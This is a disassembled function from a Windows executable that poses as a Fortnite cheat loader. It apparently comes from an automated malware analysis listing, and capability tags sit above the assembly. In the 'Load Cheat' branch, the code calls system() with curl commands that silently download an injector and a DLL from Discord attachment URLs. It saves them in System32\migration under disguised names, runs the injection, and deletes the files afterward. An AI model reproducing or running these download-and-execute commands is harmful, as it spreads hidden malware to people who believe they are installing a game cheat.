Function at 0x14000b390
Capabilities:
Delete file
Execute command
Terminate process

Disassembly:
sub rsp, 0x1b8
mov rax, qword [0x14001b638]
xor rax, rsp
mov qword [rsp + 0x1a8], rax
lea rcx, str._n__1__Load_Cheat__In_Lobby__n___n__2__Discord_n__n__3__Exit_n__
call fcn.14000e620
lea rdx, [rsp + 0x24]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov eax, dword [rsp + 0x24]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 1
je 0x14000b3f1
cmp dword [rsp + 0x20], 2
je 0x14000b7cb
cmp dword [rsp + 0x20], 3
je 0x14000b7f5
jmp 0x14000b80a
lea rcx, [0x140014ec0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [0x14000c684]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x28], rax
lea rdx, str._n_nCopy_and_paste_this_in_next_step__in_5_secs_
lea rcx, [rsp + 0x68]
call fcn.1400091a8
mov dword [rsp + 0x88], 0x14
lea rdx, [rsp + 0x68]
mov rcx, qword [rsp + 0x28]
call fcn.140009b28
nop
lea rcx, [rsp + 0x68]
call fcn.140009a88
lea rdx, [0x14000d95c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x30], rax
lea rdx, str._nFortniteClient_Win64_Shipping.exe
lea rcx, [rsp + 0x90]
call fcn.1400091a8
mov dword [rsp + 0xb0], 0x14
lea rdx, [rsp + 0x90]
mov rcx, qword [rsp + 0x30]
call fcn.140009b28
nop
lea rcx, [rsp + 0x90]
call fcn.140009a88
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.curl___silent_https:__cdn.discordapp.com_attachments_1164298466898489384_1164298521705467944_injector.exe___output_C:WindowsSystem32migrationcmd.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__cdn.discordapp.com_attachments_1164298466898489384_1164336945875406958_FortinayteLababagi.dll___output_C:WindowsSystem32migration_fxmig.dll__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140015094]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cd_C:WindowsSystem32migration_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32migrationcmd.exe_C:WindowsSystem32migration_fxmig.dll
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32migrationcmd.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:WindowsSystem32migration_fxmig.dll
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [0x140015180]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140015184]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [0x14000d95c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x38], rax
lea rdx, str._n_n_Exiting_in_5_seconds
lea rcx, [rsp + 0xb8]
call fcn.1400091a8
mov dword [rsp + 0xd8], 0x14
lea rdx, [rsp + 0xb8]
mov rcx, qword [rsp + 0x38]
call fcn.140009b28
nop
lea rcx, [rsp + 0xb8]
call fcn.140009a88
mov ecx, 0x320
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400151a0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [0x14000d95c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x40], rax
lea rdx, str._n_n_Exiting_in_4_seconds
lea rcx, [rsp + 0xe0]
call fcn.1400091a8
mov dword [rsp + 0x100], 0x14
lea rdx, [rsp + 0xe0]
mov rcx, qword [rsp + 0x40]
call fcn.140009b28
nop
lea rcx, [rsp + 0xe0]
call fcn.140009a88
mov ecx, 0x320
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400151c0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [0x14000d95c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x48], rax
lea rdx, str._n_n_Exiting_in_3_seconds
lea rcx, [rsp + 0x108]
call fcn.1400091a8
mov dword [rsp + 0x128], 0x14
lea rdx, [rsp + 0x108]
mov rcx, qword [rsp + 0x48]
call fcn.140009b28
nop
lea rcx, [rsp + 0x108]
call fcn.140009a88
mov ecx, 0x320
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400151e4]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [0x14000d95c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x50], rax
lea rdx, str._n_n_Exiting_in_2_seconds
lea rcx, [rsp + 0x130]
call fcn.1400091a8
mov dword [rsp + 0x150], 0x14
lea rdx, [rsp + 0x130]
mov rcx, qword [rsp + 0x50]
call fcn.140009b28
nop
lea rcx, [rsp + 0x130]
call fcn.140009a88
mov ecx, 0x320
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14001520c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [0x14000d95c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x58], rax
lea rdx, str._n_n_Exiting_in_1_seconds
lea rcx, [rsp + 0x158]
call fcn.1400091a8
mov dword [rsp + 0x178], 0x14
lea rdx, [rsp + 0x158]
mov rcx, qword [rsp + 0x58]
call fcn.140009b28
nop
lea rcx, [rsp + 0x158]
call fcn.140009a88
mov ecx, 0x320
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140015234]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [0x14000d95c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rsp + 0x60], rax
lea rdx, str._n_n_Exiting__
lea rcx, [rsp + 0x180]
call fcn.1400091a8
mov dword [rsp + 0x1a0], 0x14
lea rdx, [rsp + 0x180]
mov rcx, qword [rsp + 0x60]
call fcn.140009b28
nop
lea rcx, [rsp + 0x180]
call fcn.140009a88
mov ecx, 0x2bc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
lea rcx, [0x140015258]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.start_https:__discord.gg_72WREbFxFe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.14000b390
lea rcx, [0x14001528c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov rcx, qword [rsp + 0x1a8]
xor rcx, rsp
call fcn.14000ea90
add rsp, 0x1b8
ret